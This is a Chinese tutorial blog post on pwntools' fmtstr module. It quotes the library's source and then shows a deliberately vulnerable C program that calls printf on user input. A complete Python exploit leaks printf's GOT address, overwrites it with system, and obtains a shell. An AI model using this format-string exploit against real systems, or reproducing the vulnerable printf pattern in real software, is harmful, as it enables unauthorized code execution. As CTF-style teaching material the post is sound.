pwntools中fmtstr的使用

pwntools提供了pwnlib.fmtstr的格式字符串漏洞利用的工具, 熟悉该工具的使用显然是有益的
可以查看源码

该模块中主要定义了一个类FmtStr和一个函数fmtstr_payload

class FmtStr(object):

    def __init__(self, execute_fmt, offset=None, padlen=0, numbwritten=0):
        self.execute_fmt = execute_fmt
        self.offset = offset
        self.padlen = padlen
        self.numbwritten = numbwritten

        if self.offset is None:
            self.offset, self.padlen = self.find_offset()
            log.info("Found format string offset: %d", self.offset)

        self.writes = {}
        self.leaker = MemLeak(self._leaker)

	...

execute_fmt, 交互函数
offset(=None), 第一个格式化程序的偏移量
padlen(=0), payload之前填充的字节数
numbwritten(=0), 已写入的字节数

def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0):
    sz = WRITE_SIZE[write_size]
    szmax = WRITE_SIZE[write_size_max]
    all_atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)

    fmt = b""
    for _ in range(1000000):
        data_offset = (offset_bytes + len(fmt)) // context.bytes
        fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten)
        fmt = fmt + cyclic((-len(fmt)-offset_bytes) % context.bytes)

        if len(fmt) + offset_bytes == data_offset * context.bytes:
            break
    else:
        raise RuntimeError("this is a bug ... format string building did not converge")

    return fmt + data

offset, 第一个格式化程序的偏移量
writes, 往addr里写入value值
numbwritten=0, 已经由printf写入的字节数
write_size=‘byte’, 指定逐byte/short/int写

来个栗子
#include<stdio.h>
#include<string.h>
int main(){
    char str[1024];
    while(1){
        memset(str, '\0', 1024);
        read(0, str, 1024);
        printf(str);
        fflush(stdout);
    }
}
gcc -m32 -fno-stack-protector -no-pie fmtstr.c -o fmtstr -g

利用方式是将printf()的地址改成system(), 这样下次输入"/bin/sh"就能拿shell
断点到printf, 查看变量的偏移量
在这里插入图片描述
接下来查看printf()的GOT地址, 虚拟地址, 和system()的虚拟地址
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
注意虚拟地址需要的是运行时地址, 加载libc时才有system符号, 另外非运行和运行时地址不一样

有了偏移量和printf()的GOT地址, 虚拟地址, 和system()的虚拟地址就可以写exploit了

from pwn import *
elf = ELF('fmtstr')
io = process('./fmtstr')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') 
#TODO: change it depanding on your file`s local position 

def exec_fmt(payload):
    io.sendline(payload)
    info = io.recv()
    return info
auto = FmtStr(exec_fmt)
offset = auto.offset

printf_got = elf.got['printf']
payload = p32(printf_got) + '%{}$s'.format(offset)
io.send(payload)
printf_addr = u32(io.recv()[4:8])
system_addr = libc.symbols['system'] + (printf_addr - libc.symbols['printf'])
log.info("system_addr => %s" % hex(system_addr))

payload = fmtstr_payload(offset, {printf_got: system_addr})
io.send(payload)
io.send('/bin/sh')
io.recv()
io.interactive()

先泄漏printf_addr, 通过相对地址偏移量计算出system_addr, 覆盖地址即可
在这里插入图片描述
拿到shell!

坑点总结

注意是
elf.got[’’], 不是
elf.got(’’)
注意符号, 这里浪费了很多时间和心情

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值